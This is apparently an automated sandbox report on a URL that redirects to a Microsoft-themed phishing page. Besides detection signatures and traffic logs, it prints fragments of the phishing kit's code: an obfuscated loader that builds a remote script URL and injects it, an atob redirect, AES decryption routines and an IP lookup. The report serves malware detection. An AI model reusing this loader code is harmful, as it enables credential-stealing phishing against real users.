Edit tour

Windows Analysis Report
https://publizr.com/alliedcon/allied-construction

Overview

General Information

Sample URL:	https://publizr.com/alliedcon/allied-construction
Analysis ID:	1633724
Infos:

Detection

Gabagool

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected Gabagool

HTML page contains hidden URLs

HTML page contains suspicious base64 encoded javascript

HTML page contains suspicious javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Javascript checks online IP of machine

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w11x64_office

chrome.exe (PID: 2240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 2012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1904,i,9929307845595884645,8553206587332525531,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=2024 /prefetch:11 MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 1740 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://publizr.com/alliedcon/allied-construction" MD5: 290DF23002E9B52249B5549F0C668A86)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
4.5.pages.csv	JoeSecurity_Gabagool	Yara detected Gabagool	Joe Security
5.7.pages.csv	JoeSecurity_Gabagool	Yara detected Gabagool	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev' does not match the legitimate domain 'microsoft.com'., The URL uses a subdomain structure that is not associated with Microsoft., The domain extension '.dev' is unusual for Microsoft, which typically uses '.com'., The URL contains a random string, which is a common tactic in phishing URLs to obscure the true nature of the site. DOM: 4.5.pages.csv

Yara detected Gabagool

Source: Yara match	File source: 4.5.pages.csv, type: HTML
Source: Yara match	File source: 5.7.pages.csv, type: HTML

HTML page contains hidden URLs

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: https://wicked.bigpoliceman.com
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#4{EMAIL}	HTTP Parser: https://wicked.bigpoliceman.com

HTML page contains suspicious base64 encoded javascript

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: Base64 decoded: document.write
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: Base64 decoded: document.write

HTML page contains suspicious javascript code

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html

HTTP Parser: window.location.href = atob(

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: Number of links: 0
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#4{EMAIL}	HTTP Parser: Number of links: 0

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: Total embedded image size: 45708
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#4{EMAIL}	HTTP Parser: Total embedded image size: 45708

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}

HTTP Parser: Base64 decoded: IJikXqay = ['https', '://m', 'irc', 'orngro', 'up.co', 'm/ll', '/att', 'ach/j', 's/2eii', 'bhs9', 'AHV7', 'DpK', 'D411A', 'RKpLza', '2na22', 'ib', '22E', 'jDWI', '0gODPB', 'giR4', '.js'].join(``);document.write('<script src="'+IJikXqay+'"></' + 'script>'...

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: Title: Account sign in does not match URL
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#4{EMAIL}	HTTP Parser: Title: Account sign in does not match URL

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html	HTTP Parser: let current_ip = null;function jhmmfn(plaintext, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } // generate a random iv (initialization vector) const iv = cryptojs.lib.wordarray.random(16); // encrypt the plain text using aes with the given key and random iv const encrypted = cryptojs.aes.encrypt(cryptojs.enc.utf8.parse(plaintext), cryptojs.enc.utf8.parse(key), { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7 }); // combine the iv and ciphertext (iv is necessary for decryption) const encrypteddata = iv.concat(encrypted.ciphertext); // convert the combined data to base64 for easy transmission or storage return cryptojs.enc.base64.stringify(encrypteddata);}let psk = "7httbe4stupdigkffz25m+7xwvues82hrkalefqq4qjbz1erdphgowjnl5foojuf2nl2l9mvybvc+4xiw5dquw==";async function fgnhdib() { try { const response = await fetch("http...
Source: https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.js	HTTP Parser: !function(e){if(!e.hasinitialised){var t={escaperegexp:function(e){return e.replace(/[\-\[\]\/\{\}\\+\?\.\\\^\$\\|]/g,"\\$&")},hasclass:function(e,t){var i=" ";return 1===e.nodetype&&(i+e.classname+i).replace(/[\n\t]/g,i).indexof(i+t+i)>=0},addclass:function(e,t){e.classname+=" "+t},removeclass:function(e,t){var i=new regexp("\\b"+this.escaperegexp(t)+"\\b");e.classname=e.classname.replace(i,"")},interpolatestring:function(e,t){return e.replace(/{{([a-z][a-z0-9\-_])}}/gi,function(e){return t(arguments[1])\|\|""})},getcookie:function(e){var t=("; "+document.cookie).split("; "+e+"=");return t.length<2?void 0:t.pop().split(";").shift()},setcookie:function(e,t,i,n,o,s){var r=new date;r.sethours(r.gethours()+24*(i\|\|365));var a=[e+"="+t,"expires="+r.toutcstring(),"path="+(o\|\|"/")];n&&a.push("domain="+n),s&&a.push("secure"),document.cookie=a.join(";")},deepextend:function(e,t){for(var i in t)t.hasownproperty(i)&&(i in e&&this.isplainobject(e[i])&&this.isplainobject(t[i])?this.deepextend(e[i],t[i]):e[i]=t[i]);retu...

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html	HTTP Parser: new function( atob( `ewf3cya9ifsiagfzacisicjjb25jyxqilcaic2xpy2uilcaibm93il07dqoncmlmichwzxjmb3jtyw5jzvsibmf2awdhdglvbijdwyj0exblil0gpt09idb4mcamjiahbg9jyxrpb25bewf3c1swedbdxskgew0kicbsb2nhdglvblt5yxdzwzbdxsa9ierhdgvbewf3c1szxv0okq0kicagic50b1n0cmluzygzniknciagicbbewf3c1syxv0oltepdqogicagw3lhd3nbmv1dkhrxclljznnrckopow0kfq0k` ) )(); let usuuid = "7httbe4stupdigkffz25m+7xwvues82hrkalefqq4qjbz1erdphgowjnl5foojuf2nl2l9mvybvc+4xiw5dquw=="; let policy = "gl/ifhtzhkkwp1+z39rgvzoa8vdl2whfusaf8idxovolww/zapelg9zfuiruw0dp";let sv = "0"; let sir = "1"; function decstr(encryptedstring, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarra...
Source: https://mircorngroup.com/ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js	HTTP Parser: function decstr(encryptedstring, key) { const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarray.create(encrypteddata.words.slice(0, 4)); const ciphertext = cryptojs.lib.wordarray.create( encrypteddata.words.slice(4) ); const hashedkey = cryptojs.sha256(key); const aeskey = cryptojs.lib.wordarray.create(hashedkey.words.slice(0, 8)); const decrypted = cryptojs.aes.decrypt({ ciphertext: ciphertext }, aeskey, { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7, }); return decrypted.tostring(cryptojs.enc.utf8);} let ballerina = decstr(atob("runtcny3t2ztrjdxaw0rogzyre00mfyyc3rpofv1tvduzfpwsnj3a1uwwvrdcjlzuzhxsvviujh4nnrqyvhidxh4qnu4m1lxtwvinhg4egrjcdhwszmwmndim0i1b1vtbfldq3ntoudxvlbqr1jputnkqvi5uw8rs09jwmnxrnvic2dtcxl2s1d3k21hr0xyawvmendxtkxosg9zm3nmq1vazla5elpvvvzhvtvbbctjahdqu0hwatzavg0rdnvcmfn1n2ftdexdu2rqu0xyagsvyklpnvnwb3bvtuywelflnwfqegroovlvc0f1r0nheuxsvkvrckc3vtvmtng4dgvjukvycw05m...

Source: https://publizr.com/alliedcon/allied-construction?html=true#/0/	HTTP Parser: No favicon
Source: https://publizr.com/alliedcon/allied-construction?html=true#/0/	HTTP Parser: No favicon
Source: https://publizr.com/alliedcon/allied-construction?html=true#/0/	HTTP Parser: No favicon
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: No favicon
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: No favicon
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: No favicon
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#4{EMAIL}	HTTP Parser: No favicon

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: No <meta name="author".. found
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#4{EMAIL}	HTTP Parser: No <meta name="author".. found

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#4{EMAIL}	HTTP Parser: No <meta name="copyright".. found

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3

Source: global traffic	HTTP traffic detected: GET /ajax/libs/swfobject/2.2/swfobject.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/cookieconsent@3/build/cookieconsent.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wurfl.js HTTP/1.1Host: wurfl.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async-detect HTTP/1.1Host: wurfl.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async-detect HTTP/1.1Host: web.wurfl.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js HTTP/1.1Host: mircorngroup.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: publizr.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: wurfl.io
Source: global traffic	DNS traffic detected: DNS query: o.createyourmagazine.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: web.wurfl.io
Source: global traffic	DNS traffic detected: DNS query: pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev
Source: global traffic	DNS traffic detected: DNS query: mircorngroup.com
Source: global traffic	DNS traffic detected: DNS query: wicked.bigpoliceman.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /async-detect HTTP/1.1Host: wurfl.ioConnection: keep-aliveContent-Length: 391sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36accept: application/jsonsec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"content-type: application/jsonsec-ch-ua-mobile: ?0Origin: https://publizr.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.23.2Date: Mon, 10 Mar 2025 13:39:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingCache-Control: no-cache, privateAccept-CH: sec-ch-ua, sec-ch-ua-arch, sec-ch-ua-bitness, sec-ch-ua-full-version, sec-ch-ua-full-version-list, sec-ch-ua-mobile, sec-ch-ua-model, sec-ch-ua-platform, sec-ch-ua-platform-version, sec-ch-ua-wow64Critical-CH: sec-ch-ua, sec-ch-ua-arch, sec-ch-ua-bitness, sec-ch-ua-full-version, sec-ch-ua-full-version-list, sec-ch-ua-mobile, sec-ch-ua-model, sec-ch-ua-platform, sec-ch-ua-platform-version, sec-ch-ua-wow64Permissions-Policy: ch-ua=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-arch=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-bitness=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-full-version=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-full-version-list=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-mobile=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-model=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-platform=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-platform-version=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-wow64=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com")Strict-Transport-Security: max-age=31536000

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53962
Source: unknown	Network traffic detected: HTTP traffic on port 54032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54021
Source: unknown	Network traffic detected: HTTP traffic on port 54029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54025
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54030
Source: unknown	Network traffic detected: HTTP traffic on port 54009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54031
Source: unknown	Network traffic detected: HTTP traffic on port 54026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53989
Source: unknown	Network traffic detected: HTTP traffic on port 53998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54035
Source: unknown	Network traffic detected: HTTP traffic on port 54018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53984
Source: unknown	Network traffic detected: HTTP traffic on port 53984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53990
Source: unknown	Network traffic detected: HTTP traffic on port 54030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53999
Source: unknown	Network traffic detected: HTTP traffic on port 53989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53998
Source: unknown	Network traffic detected: HTTP traffic on port 54038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54001
Source: unknown	Network traffic detected: HTTP traffic on port 54011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53957
Source: unknown	Network traffic detected: HTTP traffic on port 53999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54002
Source: unknown	Network traffic detected: HTTP traffic on port 54017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54012
Source: unknown	Network traffic detected: HTTP traffic on port 54031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54011
Source: unknown	Network traffic detected: HTTP traffic on port 53985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54010
